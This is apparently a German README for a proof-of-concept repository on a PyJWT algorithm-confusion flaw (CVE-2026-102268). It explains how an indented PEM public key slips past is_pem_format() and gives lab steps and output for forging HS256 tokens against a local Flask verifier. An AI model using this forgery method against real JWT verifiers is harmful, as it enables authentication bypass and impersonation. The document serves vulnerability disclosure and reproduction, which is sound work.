
Exploitability-PoC für CVE-2026-102-268 (PyJWT-Asymmetric-PEM-Erkennungsumgehung).
Ergebnis der Ausnutzbarkeitsanalyse: Die Ursache ist bestätigt und die Ende-zu-Ende-Ausnutzung ist reproduzierbar. Ein durch Whitespace veränderter PEM-Public-Key umgeht die
is_pem_format()-Prüfung von PyJWT und wird als gültiges HMAC-Secret akzeptiert, was eine vollständige HS256-Token-Fälschung gegen jeden Verifier ermöglicht, derRS256nebenHS256in der Allow-List führt. Details siehe Analyse.
CVE-2026-102268 ist eine Algorithmus-Verwechslungs-Schwachstelle in PyJWT. Bevor ein Schlüssel als HMAC-Secret verwendet wird, ruft HMACAlgorithm.prepare_key() is_pem_format() auf, um Schlüssel abzulehnen, die wie ein PEM-kodierter asymmetrischer Schlüssel oder ein Zertifikat aussehen — die Standardverteidigung gegen RS256/HS256-Verwechslungsangriffe.
is_pem_format() ist ein einzelner Regex, der eine exakte \r?\n-Angrenzung zwischen dem Schlüsselkörper und den BEGIN/END-Markern erfordert. Der PEM-Loader von cryptography selbst hat keine solche Anforderung. Eine PEM-Datei mit an den Marker angrenzendem Whitespace, nur mit CR-Zeilenabschlüssen oder auf eine einzelne Zeile gefaltet, wird von cryptography.load_pem_public_key() als vollkommen gültiger Schlüssel geparst, während is_pem_format() bei den identischen Bytes False zurückgibt.
Die Konsequenz: Die Prüfung auf asymmetrische Schlüssel greift nie, der Public Key wird als HMAC-Secret akzeptiert, und jeder, der diesen Public Key besitzt — der per Definition öffentlich ist —, kann ein gültiges HS256-Token für jeden Verifier erzeugen, der sowohl RS256 als auch HS256 in der Allow-List führt.
Dieses Repository enthält einen minimalen Flask-Verifier und einen Reproduktionsschlüssel, um diese Behauptung Ende-zu-Ende zu bestätigen.
| Betroffener Bereich | Behoben in |
|---|---|
| < 2.14.0 | 2.14.0 |
Die anfällige Prüfung in jwt/utils.py (alle Versionen vor 2.14.0):
# jwt/utils.py — vulnerable
_PEM_RE = re.compile(
b"----[- ]BEGIN ("
+ b"|".join(_PEMS)
+ b""")[- ]----\r?
.+?\r?
----[- ]END \1[- ]----\r?\n?"""
)
def is_pem_format(key: bytes) -> bool:
return bool(_PEM_RE.search(key))
Die darauf aufbauende Gating-Logik in jwt/algorithms.py:
# jwt/algorithms.py — HMACAlgorithm.prepare_key()
if is_pem_format(key) or is_ssh_key(key):
raise InvalidKeyError(
"The specified key is an asymmetric key or x509 certificate and"
" should not be used as an HMAC secret."
)
Die [- ]-Trenner des Regex tolerieren nur einen einzelnen Bindestrich oder ein Leerzeichen direkt neben den Marker-Bindestrichen. Jeglicher andere Whitespace zwischen dem abschließenden Zeilenumbruch des Schlüsselkörpers und dem END-Marker — eine Einrückung, ein verirrtes \r, eine neu umgebrochene einzelne Zeile — lässt den Treffer fehlschlagen, sodass is_pem_format() bei einer Datei, die cryptography ohne Beanstandung parst, False meldet.
Der Fix (Commit 8b4e233, veröffentlicht in 2.14.0) ersetzt den Regex durch einen Single-Pass-Scanner über die unterstützte BEGIN/END-Markermenge, der nicht von exakter Zeilenumbruch-Angrenzung abhängt — dies schließt diesen Bypass und in derselben Änderung auch einen verwandten ReDoS in derselben Funktion (CVE-2026-102270).
public_key.pem in diesem Repository ist ein gewöhnlicher 2048-Bit-RSA-Public-Key mit einer Änderung: Die Zeile -----END PUBLIC KEY----- ist um vier Leerzeichen eingerückt.
1wIDAQAB
-----END PUBLIC KEY-----
openssl rsa -pubin -in public_key.pem -text -noout # parses cleanly, no warning
Das Ausführen von utils.py bestätigt den Bypass direkt gegen die Bibliothek, unabhängig von der Flask-App:
$ python utils.py
JWT encoded successfully: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
JWT decoded successfully: {'some': 'payload'}
jwt.encode(..., PUBLIC_KEY, algorithm="HS256") ist erfolgreich. Bei einem gepatchten PyJWT (≥ 2.14.0) löst derselbe Aufruf InvalidKeyError aus — is_pem_format() kennzeichnet die Datei unabhängig von der Einrückung korrekt als PEM-Schlüssel, und der HMAC-Pfad lehnt sie ab. Hier tut es das nicht: Die Vier-Leerzeichen-Einrückung genügt, damit der Regex fehlschlägt, und die Public-Key-Bytes werden als gewöhnliches HMAC-Secret akzeptiert.
app.py reproduziert die reale Vorbedingung — einen Verifier, dessen algorithms-Allow-List den asymmetrischen und den symmetrischen Algorithmus vermischt:
decoded_payload = jwt.decode(token, key=PUBLIC_KEY, algorithms=["RS256", "HS256"])
Ein mit dem Ansatz aus utils.py gefälschtes Token, das an /verify übermittelt wird, wird akzeptiert: /verify gibt 200 und die gefälschten Claims zurück, für ein Token, das niemand, der den privaten Schlüssel besitzt, jemals signiert hat.
cve-2026-102268-poc/
├── Dockerfile # Python 3.9-slim, installs PyJWT==2.4.0 (vulnerable)
├── podman-compose.yaml # Single-service compose for the verifier
├── requirements.txt # Flask, Werkzeug, PyJWT==2.4.0
├── app.py # Flask /verify route — algorithms=["RS256","HS256"]
├── utils.py # Standalone PoC: signs + verifies HS256 with PUBLIC_KEY
├── public_key.pem # RSA public key, END marker indented by 4 spaces
└── README.md
| Tool | Version | Hinweise |
|---|---|---|
| Podman | ≥ 4.0 | Docker funktioniert ebenfalls |
| Python | ≥ 3.9 | Nur zum lokalen Ausführen von utils.py |
| curl | beliebig | Zum direkten Ansprechen von /verify |
podman-compose up -d
Ein paar Sekunden warten, dann bestätigen, dass der Dienst läuft:
curl -si http://localhost:8080/verify -X POST \
-H 'Content-Type: application/json' -d '{}' | head -1
# Expected: HTTP/1.1 400 (missing token, but the service is reachable)
python utils.py
Dies signiert {"some": "payload"} mit public_key.pem unter Verwendung von HS256 und gibt das resultierende JWT aus — das Fälschungs-Primitiv. Das kodierte Token kopieren.
curl -s http://localhost:8080/verify \
-H 'Content-Type: application/json' \
-d '{"token": "<forged-jwt-here>"}'
podman-compose down
Schritt 2 mit installiertem PyJWT>=2.14.0 anstelle des in requirements.txt festgeschriebenen 2.4.0 wiederholen. jwt.encode() löst InvalidKeyError aus, bevor überhaupt ein Token erzeugt wird.
============================================================
CVE-2026-102268 — PyJWT Asymmetric-PEM Detection Bypass PoC
============================================================
Key : public_key.pem (RSA public key, END marker indented)
Target : http://localhost:8080/verify
------------------------------------------------------------
[1] Signing forged token with PUBLIC_KEY as HS256 secret...
[+] JWT encoded successfully:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9...